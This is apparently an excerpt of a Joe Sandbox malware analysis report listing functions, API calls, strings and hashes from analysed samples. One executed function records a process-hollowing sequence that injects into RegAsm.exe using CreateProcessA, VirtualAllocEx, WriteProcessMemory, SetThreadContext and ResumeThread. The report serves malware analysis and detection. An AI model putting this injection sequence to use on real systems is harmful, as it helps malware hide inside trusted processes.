Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: 31b1617b16332bebec7681e2e7d0c34867082e557fe54b14bb816a501edad16d
Instruction ID: 1b7eaf5e4d3d93de92333321e4cdd0cf6e6400799a4027a95257f8854cc3b3b8
Opcode Fuzzy Hash: 31b1617b16332bebec7681e2e7d0c34867082e557fe54b14bb816a501edad16d
Instruction Fuzzy Hash: 0591C5B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 00549246 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 005492A1
DName::DName.LIBVCRUNTIME ref: 005493EC

Strings

..., xrefs: 005493A3

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: 58da9d70f00e0823d33eb15a2fd4aacdfb2032a6ead2df087386fc62a2669953
Instruction ID: ae51a83f91e559a5b8322ca39b8f5efeb091b908ae9a672ffdfd20cb3e0f75af
Opcode Fuzzy Hash: 58da9d70f00e0823d33eb15a2fd4aacdfb2032a6ead2df087386fc62a2669953
Instruction Fuzzy Hash: EB51BF759042499FCB24CFA8D48AAEFBFF4BB5B308F14885ED945A7291C7749908CB50

Function 0041FDE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCONCRTD ref: 0041FF7F

Strings

parse error, xrefs: 0041FE63, 0041FE92
parse_error, xrefs: 0041FE0D, 0041FE3C

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: std::exception::exception
String ID: parse error$parse_error
API String ID: 2807920213-1820534363
Opcode ID: f29e1a5a283244eea7d4701596b260aa3591caa4cccabdbf7cf3987f82b1fed9
Instruction ID: b53eeb7c78c99134f78b2d5db2c224bc4621e85134fce9a764725a8828332e4b
Opcode Fuzzy Hash: f29e1a5a283244eea7d4701596b260aa3591caa4cccabdbf7cf3987f82b1fed9
Instruction Fuzzy Hash: 9D51EEB5D00248AFCB04DF95D891ADEBBB5BF48304F10C19EE90A6B351DB746A85CF94

Function 00548933 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00548A33

Part of subcall function 005446FA: shared_ptr.LIBCMT ref: 00544716

Strings

amp, xrefs: 005489CF
cpu, xrefs: 005489DE

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction ID: 3710b91f798ce75c8bcc97be3423ee41259ea25109c2cecb543c55e3e3e90469
Opcode Fuzzy Hash: 3deb029589026f158f5dfa05afecc3c861656cb5e50e3f143fe27a08a4a62530
Instruction Fuzzy Hash: A0318EB59002199FCB14CF99C855AFDBFF4BB89358F10806AE545A7381DB709A44CF90

Function 00547426 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0054743D
DName::DName.LIBVCRUNTIME ref: 005474C2

Strings

A, xrefs: 005474A2

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: a0b925c30271f3fca159a5e2141d85d0478b828af3f6b02d1df77856a66944e1
Instruction ID: b3b81b2cdd7d9408fa5747bcdafcf8feec021fa7ec8650abb7484b8a858eb043
Opcode Fuzzy Hash: a0b925c30271f3fca159a5e2141d85d0478b828af3f6b02d1df77856a66944e1
Instruction Fuzzy Hash: 8C219A70908209AFDF14DFA4D806BFC7FB1FB89308F108499E945AB252C7359A85EF41

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 00540303: _Yarn.LIBCPMT ref: 00540322
Part of subcall function 00540303: _Yarn.LIBCPMT ref: 00540346

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 662ec5de3a3fe5a91402d6106e5d749668efe58e39e155abbe1b114711013afe
Instruction ID: 33737033124f1431928494b82e1db7256b44a4c18afb9beb814a6f7ce6b179f7
Opcode Fuzzy Hash: 662ec5de3a3fe5a91402d6106e5d749668efe58e39e155abbe1b114711013afe
Instruction Fuzzy Hash: CE311CB4E04209DFDB04CF98D595BAEFBB1FF48304F248199D805AB381C775AA41CB95

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 00416567, 00416545, 00416553, 0041655D
eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 004F0F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 004F0FB6
std::ios_base::clear.LIBCPMTD ref: 004F1003

Strings

lD, xrefs: 004F0F62, 004F0F65

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: lD
API String ID: 1443086396-2056458386
Opcode ID: e346df9610ea807dca19bfc3c807637222f62ec92ede467990a47b3411cb81e3
Instruction ID: fc5c198cd685df7515487fc5735709042b03aa8a23d6fb63d16aac64b3f7cb5b
Opcode Fuzzy Hash: e346df9610ea807dca19bfc3c807637222f62ec92ede467990a47b3411cb81e3
Instruction Fuzzy Hash: 8721F870D04109EFDB14CF95C491BBEBBB1BF88304F14819AE615A7391C778AA41CBA5

Function 00545BE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00545C26
DName::operator+=.LIBCMT ref: 00545C66

Strings

void, xrefs: 00545C48

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction ID: 954a24abb4c748dc7a34689ae3ce5aed33d5530f7f299f23547d6bca9683c3c9
Opcode Fuzzy Hash: 1a68211051f628c7579dd7c2b5ea19785b96c7caec05f1625b87c04ae9c91e5a
Instruction Fuzzy Hash: DF1186B584461AAFCB04EFA4C889AFEBFB8FF44708F004555E512A7282EB709B45CF54

Function 0053FD63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0053FD6E
___raise_securityfailure.LIBCMT ref: 0053FE2B

Strings

2xU, xrefs: 0053FDD9

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 2xU
API String ID: 3761405300-608812649
Opcode ID: dc48210f9f09fb6300e5f176ca146eee059c1f7ff39953ae3b0f446896b549f8
Instruction ID: 79ce8f95433bab5812750716673d4df580e9127fa2694c430e7c1efa4e4369b1
Opcode Fuzzy Hash: dc48210f9f09fb6300e5f176ca146eee059c1f7ff39953ae3b0f446896b549f8
Instruction Fuzzy Hash: E911AFB5621205DBD708DF29FC86A447BA4BB2C760B10B43AEC0DE7B60E7B09549EF45

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`@, xrefs: 00415572
`XA, xrefs: 00415569

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: c21432a14ae2b4469e043f106cc7fae48963075e6a7b4531c02d3ac5dbab202c
Instruction ID: 7e92d105e7e77531031f423ac5d4489e4fa4ea9fdf3928e3e3c6c0fcef18f791
Opcode Fuzzy Hash: c21432a14ae2b4469e043f106cc7fae48963075e6a7b4531c02d3ac5dbab202c
Instruction Fuzzy Hash: 7CF037B1E00208ABCF04DFA8C9559AEBFB1AB82301F9041A9E404BF344DA35AB50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`@, xrefs: 004155E2
`XA, xrefs: 004155D9

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 11fc390703d3b3a5c57af1a2ac350c06ed8e97efe30766474ec7f85643e2e888
Instruction ID: 4a7a32658cfed4e112f8d24dbcf86bdbba90b0c77fcdcb00b2dd19e8ac39e5a3
Opcode Fuzzy Hash: 11fc390703d3b3a5c57af1a2ac350c06ed8e97efe30766474ec7f85643e2e888
Instruction Fuzzy Hash: 6DF049B1E00208EBCB04DFACDD559AEBFB0EB91302F104299E504BB304DA35AE50CBA4

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`@, xrefs: 00415822
`XA, xrefs: 00415819

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 38c5372d1d68ad2095fce26a35c20e47501cf611b9a9ec66255922f09d7e8f27
Instruction ID: a1bc54916cc5bf3ea5ac83eebf73ac1382e6dd97e36e02ebfa8fe8bdf7484501
Opcode Fuzzy Hash: 38c5372d1d68ad2095fce26a35c20e47501cf611b9a9ec66255922f09d7e8f27
Instruction Fuzzy Hash: 36F04FB1E0010CEBCB04DFACD9559AEBFB0AB91301F5041A9E840BB306DA359E50CBA4

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`@, xrefs: 004157B2
`XA, xrefs: 004157A9

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 80d7c9f6f3d6a7d8ca9cbf3f772b24af376580b0e82f78138fc26aaa2553fc87
Instruction ID: 355c326c746d4eafec930e4301b48043c1d281cb9dc42f1640ee63ebbac2162e
Opcode Fuzzy Hash: 80d7c9f6f3d6a7d8ca9cbf3f772b24af376580b0e82f78138fc26aaa2553fc87
Instruction Fuzzy Hash: D8F04FB1E00208EBDB04DFE8D9569AEBFB4BB41300F204199E400BB354DA31AE50CB95

Function 00549F9A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00549FDA

Strings

{flat}, xrefs: 00549FB7
LV, xrefs: 00549FC3, 00549FC6

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: LV${flat}
API String ID: 1333004437-3196673279
Opcode ID: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction ID: 73249bbecf6522f0483dfe145d5361c7c2b6e35a1a6094ee5aeb0f4c73226f41
Opcode Fuzzy Hash: 805b04ba5fe45dbc9f5681ca1f32bc76c11c8952404d32696616745abd5b6bea
Instruction Fuzzy Hash: 0BF0ED70104208BFD700CF80C807FDB3FE5BB8A74CF108145BA0ADB282CAB0A988DB51

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`@, xrefs: 00415873
`XA, xrefs: 0041586A

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 4e12e4927df508f7993ae15f52cdb56bef209c056fb4b41f4c74fedf0d65c00f
Instruction ID: 6634f8175c6f759aabc9ee80aeb39080b288b25e9a05d3db37e397b66f651cb0
Opcode Fuzzy Hash: 4e12e4927df508f7993ae15f52cdb56bef209c056fb4b41f4c74fedf0d65c00f
Instruction Fuzzy Hash: 29E065F5904208EBCB04DF84D9528AE7BB4BB56301F204198F9046B310D6369F10DB64

Function 00415A10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00415A43

Strings

`@, xrefs: 00415A39
`XA, xrefs: 00415A30

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 73e9d25eb665e843a5c5459b9f949f4b0aee2202f6a024058a213c8bb0de4736
Instruction ID: 689c9a301e70029910df51af5220de7eefd63d62046f4683a8c9450750ec7916
Opcode Fuzzy Hash: 73e9d25eb665e843a5c5459b9f949f4b0aee2202f6a024058a213c8bb0de4736
Instruction Fuzzy Hash: 0CE01AB0D01108EBCF04EF98D9515ADBFB4EF8630AF200199D944AB301DA35AE509BA5

Analysis Process: dFpuQ1Q9a79sUJWPwukBnd_d.exePID: 576, Parent PID: 2724COMMON

Execution Graph

Execution Coverage:	36.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	26.7%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02B621B9 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02B6212B,02B6211B), ref: 02B62328
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02B6233B
Wow64GetThreadContext.KERNEL32(0000010C,00000000), ref: 02B62359
ReadProcessMemory.KERNELBASE(000003F8,?,02B6216F,00000004,00000000), ref: 02B6237D
VirtualAllocEx.KERNELBASE(000003F8,?,?,00003000,00000040), ref: 02B623A8
TerminateProcess.KERNELBASE(000003F8,00000000), ref: 02B623C7
WriteProcessMemory.KERNELBASE(000003F8,00000000,?,?,00000000,?), ref: 02B62400
WriteProcessMemory.KERNELBASE(000003F8,00400000,?,?,00000000,?,00000028), ref: 02B6244B
WriteProcessMemory.KERNELBASE(000003F8,-00000008,?,00000004,00000000), ref: 02B62489
Wow64SetThreadContext.KERNEL32(0000010C,055C0000), ref: 02B624C5
ResumeThread.KERNELBASE(0000010C), ref: 02B624D4

Strings

VirtualAllocEx, xrefs: 02B622B9
SetThreadContext, xrefs: 02B622DF
GetThreadContext, xrefs: 02B62293
GetP, xrefs: 02B6223B
ReadProcessMemory, xrefs: 02B622A6
ress, xrefs: 02B62243
TerminateProcess, xrefs: 02B623B7
aryA, xrefs: 02B621FF
ResumeThread, xrefs: 02B622F5
WriteProcessMemory, xrefs: 02B622CC
VirtualAlloc, xrefs: 02B62280
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02B62327
Load, xrefs: 02B621F7
CreateProcessA, xrefs: 02B6226D

Memory Dump Source

Source File: 0000000B.00000002.1602772399.0000000002B62000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B62000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b62000_dFpuQ1Q9a79sUJWPwukBnd_d.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 57e0b78ccebda5a8fdd38028822efe6e4454c05865c58a908f4469030d4b184f
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 14B1E77264024AAFDB60CF68CC80BDA77A5FF88714F158164EA0CAB341D774FA51CB94

Function 029D0B90 Relevance: 1.8, APIs: 1, Instructions: 292
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03B63590,?,?,?,?,?,?,?,03B63590,?,?,029D0A21,?,00000040), ref: 029D0F31

Memory Dump Source

Source File: 0000000B.00000002.1597820272.00000000029D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29d0000_dFpuQ1Q9a79sUJWPwukBnd_d.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f940750b7660f02467a53ff987f21434a182f87d0973911b0b3045a04f781e97
Instruction ID: 3ecbdb0878bfb68423f04b057caacfc06491af0e8b0bc233798ab0c5b5c4172e
Opcode Fuzzy Hash: f940750b7660f02467a53ff987f21434a182f87d0973911b0b3045a04f781e97
Instruction Fuzzy Hash: 8FC16770E142599BCB01CBA8C880BEDFBF2BF88314F24C595E859E7245C775AD41CBA4

Function 029D04F0 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03B63590,?,?,?,?,?,?,?,03B63590,?,?,029D0A21,?,00000040), ref: 029D0F31

Memory Dump Source

Source File: 0000000B.00000002.1597820272.00000000029D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_29d0000_dFpuQ1Q9a79sUJWPwukBnd_d.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4efef34633c7360fc5bb1ace88d9cd8270c3896cd0613f6b4c9acdb999441b26
Instruction ID: bdbe8de0f35be0bd6f40066bded077811438c2672547b2d17539f044c870ecb2
Opcode Fuzzy Hash: 4efef34633c7360fc5bb1ace88d9cd8270c3896cd0613f6b4c9acdb999441b26
Instruction Fuzzy Hash: 3921F2B5D0125DAFCB10DF9AD984ADEFBB8FB08310F10812AE918A7340D374A954CFA1

Function 0114D006 Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1574023744.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_114d000_dFpuQ1Q9a79sUJWPwukBnd_d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227942e95486a58dc377b517e21495b46a3ac75013eb064a8881cac48a36a20f
Instruction ID: 188c3578689c547a2c8ac94cd84f83cefb8e66b8c8d6a589ea7050174e82c3de
Opcode Fuzzy Hash: 227942e95486a58dc377b517e21495b46a3ac75013eb064a8881cac48a36a20f
Instruction Fuzzy Hash: F8019E7140D3C09FEB174B259C94752BFA8EF53624F0981DBE9888F1A3C2695C45CB72

Function 0114D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1574023744.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_114d000_dFpuQ1Q9a79sUJWPwukBnd_d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4386814201a7176c527927e010daa37ccd0fa3826734505982eb83bbb6ed48ad
Instruction ID: 45d67e42cf1c5d433361bc95e53b83b4aa65b23e54c47e145a0be0f21fabab70
Opcode Fuzzy Hash: 4386814201a7176c527927e010daa37ccd0fa3826734505982eb83bbb6ed48ad
Instruction Fuzzy Hash: 60012B31508300AFFF284A55ECC4B67BF98DF51AA5F18C16AED480F182C3799846CAB2

Analysis Process: jAdtQht6EyohpXB8jxj0sYtp.exePID: 2056, Parent PID: 2724COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	96
Total number of Limit Nodes:	3

Executed Functions

Function 05566F7C Relevance: 1.8, APIs: 1, Instructions: 330
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0556724F

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: bd7db38ca6e636d04499373a77b5f152146064b86de0ff947933b4f10ad02b52
Instruction ID: 0762f83298a8a345e3065deefcdf965a573d3fa92f3fbbe11ce8c1bfa1a3725e
Opcode Fuzzy Hash: bd7db38ca6e636d04499373a77b5f152146064b86de0ff947933b4f10ad02b52
Instruction Fuzzy Hash: 86C13371D102698FDB24CFA8C845BEDBBB1FF09314F0095AAE819B7250DB749A85CF94

Function 05566F88 Relevance: 1.8, APIs: 1, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0556724F

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e68f906c64f7c469f01d99d9db3c8218c6a5eff0a847bd2f170091f79be582fb
Instruction ID: 26bb40e9c4b567e649dca10fe59a65d276b45396ac1c2583b559825f6c5a44b5
Opcode Fuzzy Hash: e68f906c64f7c469f01d99d9db3c8218c6a5eff0a847bd2f170091f79be582fb
Instruction Fuzzy Hash: 2FC12371D102698FDB24CFA8C841BEDBBB1FB09314F0095A9E819B7250DB749A85CF95

Function 05566BFA Relevance: 1.6, APIs: 1, Instructions: 117
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05566CD3

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7524d09cfd3b258e1ee343e3b4e913eac2629b5402c17848848d38906df5d029
Instruction ID: 50a8afc25d321fdda563c5a8930bd1b3f4222d3a4e53849f79d3fb1d6dd9f051
Opcode Fuzzy Hash: 7524d09cfd3b258e1ee343e3b4e913eac2629b5402c17848848d38906df5d029
Instruction Fuzzy Hash: 7641ABB4D012589FDF10CFA9D984ADEBBF1FB09310F14902AE815B7250D735AA45CB54

Function 05566C00 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05566CD3

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: cdfe39b1ba2f68c5b74604d7d863cb57ef1c2c3e0102378dd244529a8fe363f2
Instruction ID: 98e3187e930cb8038f08ea68bc1e23c631aa739e36db5382fc1e2a4076da5826
Opcode Fuzzy Hash: cdfe39b1ba2f68c5b74604d7d863cb57ef1c2c3e0102378dd244529a8fe363f2
Instruction Fuzzy Hash: 504198B4D012589FDB10CFA9D984AEEBBF1FB49310F14902AE819B7250D739AA45CB64

Function 00F4DCC0 Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00F4DDC9

Memory Dump Source

Source File: 0000000E.00000002.1598792848.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

